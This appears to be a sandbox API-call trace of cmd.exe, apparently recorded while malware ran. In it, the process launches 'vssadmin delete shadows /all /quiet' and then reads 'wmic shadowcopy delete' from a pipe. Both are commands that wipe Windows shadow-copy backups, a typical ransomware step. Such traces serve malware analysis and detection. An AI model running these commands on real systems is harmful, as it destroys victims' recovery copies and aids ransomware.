	[0215.333] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xc90e98f0c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc90e98f098 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0xc90e98f098*(hProcess=0x98, hThread=0x94, dwProcessId=0xdb8, dwThreadId=0xdbc)) returned 1
	[0215.374] CloseHandle (hObject=0x94) returned 1
	[0215.374] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0215.374] GetProcessHeap () returned 0x1d2f7770000
	[0215.374] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778510) returned 1
	[0215.374] GetEnvironmentStringsW () returned 0x1d2f7778510*
	[0215.374] GetProcessHeap () returned 0x1d2f7770000
	[0215.374] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xac4) returned 0x1d2f7789520
	[0215.374] FreeEnvironmentStringsA (penv="=") returned 1
	[0215.374] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff862c80000
	[0215.374] GetProcAddress (hModule=0x7ff862c80000, lpProcName="NtQueryInformationProcess") returned 0x7ff862d256b0
	[0215.374] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xc90e98e598, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc90e98e598, ReturnLength=0x0) returned 0x0
	[0215.374] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x13689ce000, lpBuffer=0xc90e98e5d0, nSize=0x7a0, lpNumberOfBytesRead=0xc90e98e590 | out: lpBuffer=0xc90e98e5d0*, lpNumberOfBytesRead=0xc90e98e590*=0x7a0) returned 1
	[0215.374] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0216.595] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xc90e98f018 | out: lpExitCode=0xc90e98f018*=0x2) returned 1
	[0216.595] CloseHandle (hObject=0x98) returned 1
	[0216.595] _vsnwprintf (in: _Buffer=0xc90e98f1e8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc90e98f028 | out: _Buffer="00000002") returned 8
	[0216.595] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0216.595] GetProcessHeap () returned 0x1d2f7770000
	[0216.595] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789520) returned 1
	[0216.595] GetEnvironmentStringsW () returned 0x1d2f778aaf0*
	[0216.595] GetProcessHeap () returned 0x1d2f7770000
	[0216.595] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778b5f0
	[0216.595] FreeEnvironmentStringsA (penv="=") returned 1
	[0216.595] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0216.595] GetProcessHeap () returned 0x1d2f7770000
	[0216.595] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778b5f0) returned 1
	[0216.595] GetEnvironmentStringsW () returned 0x1d2f778aaf0*
	[0216.596] GetProcessHeap () returned 0x1d2f7770000
	[0216.596] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778b5f0
	[0216.596] FreeEnvironmentStringsA (penv="=") returned 1
	[0216.596] GetProcessHeap () returned 0x1d2f7770000
	[0216.596] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778010) returned 1
	[0216.596] DeleteProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0 | out: lpAttributeList=0xc90e98f1a0) 
	[0216.596] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0216.598] ??_V@YAXPEAX@Z () returned 0x1
	[0216.598] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.598] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0216.598] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.598] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0216.598] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.598] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0216.598] GetConsoleOutputCP () returned 0x1b5
	[0216.598] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0216.598] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0216.598] GetProcessHeap () returned 0x1d2f7770000
	[0216.598] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776dc0) returned 1
	[0216.598] GetProcessHeap () returned 0x1d2f7770000
	[0216.598] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789030) returned 1
	[0216.598] GetProcessHeap () returned 0x1d2f7770000
	[0216.598] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776c00) returned 1
	[0216.598] GetProcessHeap () returned 0x1d2f7770000
	[0216.598] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7788fd0) returned 1
	[0216.598] GetProcessHeap () returned 0x1d2f7770000
	[0216.598] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778490) returned 1
	[0216.598] GetProcessHeap () returned 0x1d2f7770000
	[0216.599] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778fe0) returned 1
	[0216.599] GetProcessHeap () returned 0x1d2f7770000
	[0216.599] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778440) returned 1
	[0216.599] GetProcessHeap () returned 0x1d2f7770000
	[0216.599] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77781b0) returned 1
	[0216.599] GetProcessHeap () returned 0x1d2f7770000
	[0216.599] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0216.599] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc90e98f5c8 | out: _Buffer="\r\n") returned 2
	[0216.600] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.600] GetFileType (hFile=0x234) returned 0x3
	[0216.600] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0216.600] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc90e98f598, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f598*=0x2, lpOverlapped=0x0) returned 1
	[0216.600] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0216.600] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d2f7870080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0216.600] _vsnwprintf (in: _Buffer=0x1d2f7880060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc90e98f5d8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0216.600] _vsnwprintf (in: _Buffer=0x1d2f7880086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc90e98f5d8 | out: _Buffer=">") returned 1
	[0216.600] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.600] GetFileType (hFile=0x234) returned 0x3
	[0216.600] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0216.600] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc90e98f5c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f5c8*=0x14, lpOverlapped=0x0) returned 1
	[0216.600] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.600] GetFileType (hFile=0x228) returned 0x3
	[0216.600] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.600] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.600] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1
	[0216.600] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.600] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.601] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="msadmin delete shadows /all /quiet\n") returned 1
	[0216.601] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.602] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.602] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0216.602] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.602] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="cdmin delete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr=" min delete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr="sin delete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="hn delete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr="a delete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="oelete shadows /all /quiet\n") returned 1
	[0216.603] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.603] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.603] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="wlete shadows /all /quiet\n") returned 1
	[0216.604] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.604] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.604] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="cete shadows /all /quiet\n") returned 1
	[0216.604] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.604] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.604] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr="ote shadows /all /quiet\n") returned 1
	[0216.604] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.604] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.604] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="pe shadows /all /quiet\n") returned 1
	[0216.604] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.604] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.604] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr="y shadows /all /quiet\n") returned 1
	[0216.604] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1
	[0216.605] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="dhadows /all /quiet\n") returned 1
	[0216.605] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr="eadows /all /quiet\n") returned 1
	[0216.605] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr="ldows /all /quiet\n") returned 1
	[0216.605] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="eows /all /quiet\n") returned 1
	[0216.605] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="tws /all /quiet\n") returned 1
	[0216.605] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.605] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.605] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr="es /all /quiet\n") returned 1
	[0216.606] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.606] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.606] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0216.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr="\n /all /quiet\n") returned 1
	[0216.606] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.606] GetFileType (hFile=0x228) returned 0x3
	[0216.607] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.607] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0216.608] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.608] GetFileType (hFile=0x234) returned 0x3
	[0216.608] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.651] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24
